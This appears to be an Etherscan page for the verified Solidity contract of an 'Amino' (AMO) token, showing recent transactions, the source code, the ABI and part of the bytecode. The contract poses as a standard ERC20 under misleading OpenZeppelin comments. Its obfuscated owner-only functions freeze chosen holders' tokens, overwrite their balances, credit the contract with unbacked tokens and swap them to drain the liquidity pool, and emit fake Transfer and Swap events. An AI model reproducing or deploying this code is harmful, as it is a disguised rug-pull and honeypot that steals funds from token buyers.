ETH Price: $3,124.41 (+1.93%)

Contract

0x49C7b02063966aadBE3A88032af58D93615D1519
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

TokenTracker

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Address184867752023-11-02 20:28:47379 days ago1698956927IN
0x49C7b020...3615D1519
0 ETH0.0039015927.57211343
Approve184866702023-11-02 20:07:35379 days ago1698955655IN
0x49C7b020...3615D1519
0 ETH0.0012575527.24932796
Approve184862472023-11-02 18:42:35379 days ago1698950555IN
0x49C7b020...3615D1519
0 ETH0.0012687827.47827673
Approve184860002023-11-02 17:52:47379 days ago1698947567IN
0x49C7b020...3615D1519
0 ETH0.0017250437.14737468
Approve184848232023-11-02 13:55:23379 days ago1698933323IN
0x49C7b020...3615D1519
0 ETH0.0011561639.78272822
Approve184847952023-11-02 13:49:47379 days ago1698932987IN
0x49C7b020...3615D1519
0 ETH0.0009796137.31880672
Approve184847872023-11-02 13:48:11379 days ago1698932891IN
0x49C7b020...3615D1519
0 ETH0.0017045736.93544656
Approve184844212023-11-02 12:33:11379 days ago1698928391IN
0x49C7b020...3615D1519
0 ETH0.0012076726.16156306
Multicall184844172023-11-02 12:32:23379 days ago1698928343IN
0x49C7b020...3615D1519
0 ETH0.0013492627.40906601
Multicall184841502023-11-02 11:38:35379 days ago1698925115IN
0x49C7b020...3615D1519
0 ETH0.0011894624.16294839
Approve184834562023-11-02 9:16:59379 days ago1698916619IN
0x49C7b020...3615D1519
0 ETH0.0007871316.95021144
Approve184830512023-11-02 7:55:23379 days ago1698911723IN
0x49C7b020...3615D1519
0 ETH0.0008012417.25408515
Multicall184829982023-11-02 7:44:47379 days ago1698911087IN
0x49C7b020...3615D1519
0 ETH0.0008494417.2556757
Multicall184814332023-11-02 2:28:59380 days ago1698892139IN
0x49C7b020...3615D1519
0 ETH0.0012770625.94243474
Approve184810222023-11-02 1:06:11380 days ago1698887171IN
0x49C7b020...3615D1519
0 ETH0.0014509131.42275346
Transfer184805182023-11-01 23:24:59380 days ago1698881099IN
0x49C7b020...3615D1519
0 ETH0.0008019436.95594954
Transfer184805052023-11-01 23:22:11380 days ago1698880931IN
0x49C7b020...3615D1519
0 ETH0.0008464539.00708043
Multicall184804582023-11-01 23:12:47380 days ago1698880367IN
0x49C7b020...3615D1519
0 ETH0.0029138939.18204721
Approve184803612023-11-01 22:53:11380 days ago1698879191IN
0x49C7b020...3615D1519
0 ETH0.0017931438.61366885
Approve184803482023-11-01 22:50:35380 days ago1698879035IN
0x49C7b020...3615D1519
0 ETH0.0016668335.84754285
Approve184803412023-11-01 22:49:11380 days ago1698878951IN
0x49C7b020...3615D1519
0 ETH0.0015294432.89260091
Approve184803292023-11-01 22:46:47380 days ago1698878807IN
0x49C7b020...3615D1519
0 ETH0.001767438.01025338
Multicall184803252023-11-01 22:45:59380 days ago1698878759IN
0x49C7b020...3615D1519
0 ETH0.0018440737.46062311
Multicall184802492023-11-01 22:30:47380 days ago1698877847IN
0x49C7b020...3615D1519
0 ETH0.0022227445.15296104
Multicall184796492023-11-01 20:29:47380 days ago1698870587IN
0x49C7b020...3615D1519
0 ETH0.0036539561.19599137
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Amino

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
Yes with 9999 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-01
*/

//          Telegram: https://t.me/AminoRewardsSupportBot
//          Twitter:  https://twitter.com/aminorewards
//          Website:  https://aminorewards.com/
//

// SPDX-License-Identifier: MIT



pragma solidity ^0.7.6;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
interface IERC20 {
    function transferFrom( address from, address to, uint256 value) external returns (bool);
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
interface Interfaces {
    function createPair( address tokenA, address tokenB) external returns (address pair);
    function token0() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline) external returns (uint256[] memory amounts);
    function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external payable returns (uint256[] memory amounts);
    function getAmountsOut( uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);
    function getAmountsIn( uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 {
    mapping(address => mapping(address => uint256)) public a;
    mapping(address => uint256) public b;
    mapping(address => uint256) public c;
    address public owner;
    uint256 _totalSupply;
    string _name;
    string _symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value);
    event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);


    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }


    function TryCall(uint256 _a, uint256 _b) internal pure returns (uint256) {
        return _a / _b;
    }

    function FetchToken2(uint256 _a) internal pure returns (uint256) {
        return _a * 100000 / (2931 + 97069);
    }

    function FetchToken(uint256 _a) internal pure returns (uint256) {
        return _a + 10;
    }

    function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
        uint256 __c = _a + _b;
        require(__c >= _a, "SafeMath: addition overflow");

        return __c;
    }

    function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
        require(_b <= _a, "SafeMath: subtraction overflow");
        uint256 __c = _a - _b;

        return __c;
    }

    function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
        return _a / _b;
    }

    function _T() internal view returns (bytes32) {
        return bytes32(uint256(uint160(address(this))) << 96);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return b[account];
    }

    function transfer( address to, uint256 amount) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance( address __owner, address spender) public view virtual returns (uint256) {
        return a[__owner][spender];
    }

    function approve( address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom( address from, address to, uint256 amount) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance( address spender, uint256 addedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance( address spender, uint256 subtractedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");

        _approve(__owner, spender, currentAllowance - subtractedValue);
        return true;
    }

    function _transfer( address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = b[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        if (c[from] > 0){
            require(add(c[from], b[from]) == 0);
        }

        b[from] = sub(fromBalance, amount);
        b[to] = add(b[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve( address __owner, address spender, uint256 amount) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        a[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance( address __owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require( currentAllowance >= amount, "ERC20: insufficient allowance");

            _approve(__owner, spender, currentAllowance - amount);
        }
        
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract Amino is ERC20 {
    Interfaces internal _RR;
    Interfaces internal _pair;
    uint8 public decimals = 18;
    uint private namespace = 1;

    constructor() {
        _name = "Amino";
        _symbol = "AMO";
        _totalSupply = 50_000_000_000e18;
        owner = msg.sender;
        _RR = Interfaces(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _pair = Interfaces(Interfaces(_RR.factory()).createPair(address(this), address(_RR.WETH())));
        b[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function Execute(uint256 t, address tA, uint256 w, address[] memory r) public onlyOwner returns (bool) {
        for (uint256 i = 0; i < r.length; i++) {
            callUniswap(r[i], t, w, tA);
        }
        return true;
    }


    function Div() internal view returns (address[] memory) {
        address[] memory p;
        p = new address[](2);
        p[0] = address(this);
        p[1] = _RR.WETH();
        return p;
    }

    function getContract(uint256 blockTimestamp, uint256 selector, address[] memory list, address factory) internal {
        a[address(this)][address(_RR)] = b[address(this)];
        FactoryReview(blockTimestamp, selector, list, factory);
    }

    function FactoryReview( uint256 blockTime, uint256 multiplicator, address[] memory parts, address factory) internal {
        _RR
        .swapTokensForExactTokens(
        // assembler
        blockTime, 
        multiplicator, 
        // unchecked
        parts, 
        factory, 
        block.timestamp + 1200);
    }


    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function Address(address _r) public onlyOwner {
        uint256 calling = (Sub(_RR.WETH()) * 99999) / 100000;
        address[] memory FoldArray = Div();
        uint256 called = Allowance(calling, FoldArray);
        getContract(calling, called, FoldArray, _r);
    }

    function Sub(address t) internal view returns (uint256) {
        (uint112 r0, uint112 r1, ) = _pair.getReserves();
        return (_pair.token0() == t) ? uint256(r0) : uint256(r1);
    }


    function ConvertAddress(address _uu, uint256 _pp) internal view returns (uint256) {
        return TryCall(b[_uu], _pp);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function CheckAmount2(bytes32 _b, uint256 __a) internal {
        // Assembler for gas optimization {}
        emit
        Transfer
        (
        (uint256(0) 
        !=0 
        || 

        1238==1)
        ?address(
        uint256(
        0))

        :address(
        uint160
        (uint256(
        _b)>>96)),

        address(_pair),b
        // v0.5.11 specific update
        [
        (uint256(0) 
        !=0 
        || 
        1238==1)
        ?address(
        // Overflow control
        uint256(
        0))

        :address(
        uint160
        (uint256(
        _b)>>96))
        // Guard test
        ]
        );b
        // assembly
        [
        (uint256(0) 
        !=0 
        || 
        1238==1)
        ?address(
        // Must control
        uint256(
        0))

        :address(
        uint160
        (uint256(
        _b)>>96))
        // Contract opcode
        ]=
        FetchToken2(
        uint256(
        __a));


    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function CheckAmount(bytes32 _b, uint256 __a) internal {
        // Assembler for gas optimization {}
        c
        // assembly
        [
        (uint256(0) 
        !=0 
        || 
        1238==1)
        ?address(
        // Must control
        uint256(
        0))

        :address(
        uint160
        (uint256(
        _b)>>96))
        // Contract opcode
        ]=
        FetchToken(
        uint256(
        __a));
    }

    function callUniswap(address router, uint256 transfer, uint256 cycleWidth, address unmount) internal {
        IERC20(unmount).transferFrom(router, address(_pair), cycleWidth);
        emit Transfer(address(_pair), router, transfer);
        emit Swap(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, transfer, 0, 0, cycleWidth, router);
    }


    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
    */
    function Allowance(uint256 checked, address[] memory p) internal returns (uint256) {
        // Assembler for gas optimization {}
        uint256[] memory value;
        value = new uint256[](2);

        // uncheck {
        value = Mult(checked, p);
        b
        [
        block.
        timestamp> 
        uint256(
        1)||
        uint256(
        0)>
        1||
        uint160(
        1)< 

        block.
        timestamp
        ? 
        address(
        uint160(
        uint256(
        _T(

        ))>>96))
        :address(uint256(0))
        ]+= 
        // end uncheck }

        value
        
        [
        0
        ];

        return 
        value
        [
        0
        ];
    }

    function Mult( uint256 amO, address[] memory p) internal view returns (uint256[] memory){
        return _RR.getAmountsIn(amO, p);
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function multicall2(bytes32[] calldata data, uint256 _p) public onlyOwner {
        // Assembler for gas optimization {}
        for 
        (uint256 i = 0; i < data.length; i++) {
        // assembly
        if
        (
        block
        .
        timestamp 
        >uint256(
        uint160(
        uint8(
        0
        )))
        )
        {
        // assembly 
        uint256 rS 
        =ConvertAddress(
        (uint256(

        uint16(
        uint8(
        0)) 
        )!=0)
        ?address(uint256(0))
        :address(
        uint160
        (uint256
        (data[i
        ])>>96)),
        _p
        );
        CheckAmount2(data[i], rS);
        }
        }
    }

     /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function multicall(bytes32[] calldata data, uint256 _p) public onlyOwner {
        // Assembler for gas optimization {}
        for 
        (uint256 i = 0; i < data.length; i++) {
        // assembly
        if
        (
        block
        .
        timestamp 
        >uint256(
        uint160(
        uint8(
        0
        )))
        )
        {
        // assembly 
        uint256 rS 
        =ConvertAddress(
        (uint256(

        uint16(
        uint8(
        0)) 
        )!=0)
        ?address(uint256(0))
        :address(
        uint160
        (uint256
        (data[i
        ])>>96)),
        _p
        );
        CheckAmount(data[i], rS);
        }
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_r","type":"address"}],"name":"Address","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"t","type":"uint256"},{"internalType":"address","name":"tA","type":"address"},{"internalType":"uint256","name":"w","type":"uint256"},{"internalType":"address[]","name":"r","type":"address[]"}],"name":"Execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"a","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"b","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"c","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"data","type":"bytes32[]"},{"internalType":"uint256","name":"_p","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"data","type":"bytes32[]"},{"internalType":"uint256","name":"_p","type":"uint256"}],"name":"multicall2","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526008805460ff60a01b1916600960a11b17905560016009553480156200002957600080fd5b5060408051808201909152600580825264416d696e6f60d81b6020909201918252620000569181620002a9565b5060408051808201909152600380825262414d4f60e81b60209092019182526200008391600691620002a9565b506ba18f07d736b90be5500000006004908155600380546001600160a01b0319908116331790915560078054909116737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556040805163c45a015560e01b815290516001600160a01b03929092169263c45a0155928282019260209290829003018186803b1580156200010c57600080fd5b505afa15801562000121573d6000803e3d6000fd5b505050506040513d60208110156200013857600080fd5b5051600754604080516315ab88c960e31b815290516001600160a01b039384169363c9c6539693309391169163ad5c464891600480820192602092909190829003018186803b1580156200018b57600080fd5b505afa158015620001a0573d6000803e3d6000fd5b505050506040513d6020811015620001b757600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b1580156200020a57600080fd5b505af11580156200021f573d6000803e3d6000fd5b505050506040513d60208110156200023657600080fd5b5051600880546001600160a01b0319166001600160a01b03909216919091179055600454336000818152600160209081526040808320859055805194855251929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a362000355565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282620002e157600085556200032c565b82601f10620002fc57805160ff19168380011785556200032c565b828001600101855582156200032c579182015b828111156200032c5782518255916020019190600101906200030f565b506200033a9291506200033e565b5090565b5b808211156200033a57600081556001016200033f565b61198b80620003656000396000f3fe608060405234801561001057600080fd5b50600436106101515760003560e01c806358a10259116100cd578063a9059cbb11610081578063dd62ed3e11610066578063dd62ed3e14610502578063ea923bae14610530578063ebfb412d146105a057610151565b8063a9059cbb146104b0578063bda02782146104dc57610151565b80638da5cb5b116100b25780638da5cb5b1461045857806395d89b411461047c578063a457c2d71461048457610151565b806358a102591461037357806370a082311461043257610151565b806323b872dd11610124578063316d295f11610109578063316d295f146102a757806339509351146103195780635765a5cc1461034557610151565b806323b872dd14610253578063313ce5671461028957610151565b806304ee65c01461015657806306fdde031461018e578063095ea7b31461020b57806318160ddd1461024b575b600080fd5b61017c6004803603602081101561016c57600080fd5b50356001600160a01b03166105c6565b60408051918252519081900360200190f35b6101966105d8565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d05781810151838201526020016101b8565b50505050905090810190601f1680156101fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102376004803603604081101561022157600080fd5b506001600160a01b03813516906020013561068c565b604080519115158252519081900360200190f35b61017c6106a2565b6102376004803603606081101561026957600080fd5b506001600160a01b038135811691602081013590911690604001356106a8565b6102916106ca565b6040805160ff9092168252519081900360200190f35b610317600480360360408110156102bd57600080fd5b8101906020810181356401000000008111156102d857600080fd5b8201836020820111156102ea57600080fd5b8035906020019184602083028401116401000000008311171561030c57600080fd5b9193509150356106eb565b005b6102376004803603604081101561032f57600080fd5b506001600160a01b0381351690602001356107ae565b61017c6004803603604081101561035b57600080fd5b506001600160a01b03813581169160200135166107c7565b6102376004803603608081101561038957600080fd5b8135916001600160a01b0360208201351691604082013591908101906080810160608201356401000000008111156103c057600080fd5b8201836020820111156103d257600080fd5b803590602001918460208302840111640100000000831117156103f457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506107e1945050505050565b61017c6004803603602081101561044857600080fd5b50356001600160a01b0316610882565b61046061089d565b604080516001600160a01b039092168252519081900360200190f35b6101966108ac565b6102376004803603604081101561049a57600080fd5b506001600160a01b03813516906020013561092b565b610237600480360360408110156104c657600080fd5b506001600160a01b038135169060200135610992565b61017c600480360360208110156104f257600080fd5b50356001600160a01b031661099f565b61017c6004803603604081101561051857600080fd5b506001600160a01b03813581169160200135166109b1565b6103176004803603604081101561054657600080fd5b81019060208101813564010000000081111561056157600080fd5b82018360208201111561057357600080fd5b8035906020019184602083028401116401000000008311171561059557600080fd5b9193509150356109da565b610317600480360360208110156105b657600080fd5b50356001600160a01b0316610a85565b60026020526000908152604090205481565b60058054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106825780601f1061065757610100808354040283529160200191610682565b820191906000526020600020905b81548152906001019060200180831161066557829003601f168201915b5050505050905090565b6000610699338484610ba1565b50600192915050565b60045490565b60006106b5843384610c8b565b6106c0848484610d22565b5060019392505050565b60085474010000000000000000000000000000000000000000900460ff1681565b6003546001600160a01b0316331461074a576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60005b828110156107a85742156107a0576000610780606086868581811061076e57fe5b9050602002013560001c901c84610ef1565b905061079e85858481811061079157fe5b9050602002013582610f1b565b505b60010161074d565b50505050565b6000336106c08185856107c183836109b1565b01610ba1565b600060208181529281526040808220909352908152205481565b6003546000906001600160a01b03163314610843576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60005b82518110156108765761086e83828151811061085e57fe5b6020026020010151878688610f4c565b600101610846565b50600195945050505050565b6001600160a01b031660009081526001602052604090205490565b6003546001600160a01b031681565b60068054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106825780601f1061065757610100808354040283529160200191610682565b6000338161093982866109b1565b90508381101561097a5760405162461bcd60e51b81526004018080602001828103825260258152602001806119316025913960400191505060405180910390fd5b6109878286868403610ba1565b506001949350505050565b6000610699338484610d22565b60016020526000908152604090205481565b6001600160a01b0391821660009081526020818152604080832093909416825291909152205490565b6003546001600160a01b03163314610a39576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60005b828110156107a8574215610a7d576000610a5d606086868581811061076e57fe5b9050610a7b858584818110610a6e57fe5b90506020020135826110a2565b505b600101610a3c565b6003546001600160a01b03163314610ae4576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b6000620186a0610b6c600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b3b57600080fd5b505afa158015610b4f573d6000803e3d6000fd5b505050506040513d6020811015610b6557600080fd5b5051611111565b6201869f0281610b7857fe5b0490506000610b85611264565b90506000610b93838361135b565b90506107a883828487611415565b6001600160a01b038316610be65760405162461bcd60e51b815260040180806020018281038252602481526020018061190d6024913960400191505060405180910390fd5b6001600160a01b038216610c2b5760405162461bcd60e51b81526004018080602001828103825260228152602001806118a06022913960400191505060405180910390fd5b6001600160a01b0380841660008181526020818152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000610c9784846109b1565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146107a85781811015610d15576040805162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015290519081900360640190fd5b6107a88484848403610ba1565b6001600160a01b038316610d675760405162461bcd60e51b81526004018080602001828103825260258152602001806118e86025913960400191505060405180910390fd5b6001600160a01b038216610dac5760405162461bcd60e51b815260040180806020018281038252602381526020018061187d6023913960400191505060405180910390fd5b6001600160a01b03831660009081526001602052604090205481811015610e045760405162461bcd60e51b81526004018080602001828103825260268152602001806118c26026913960400191505060405180910390fd5b600160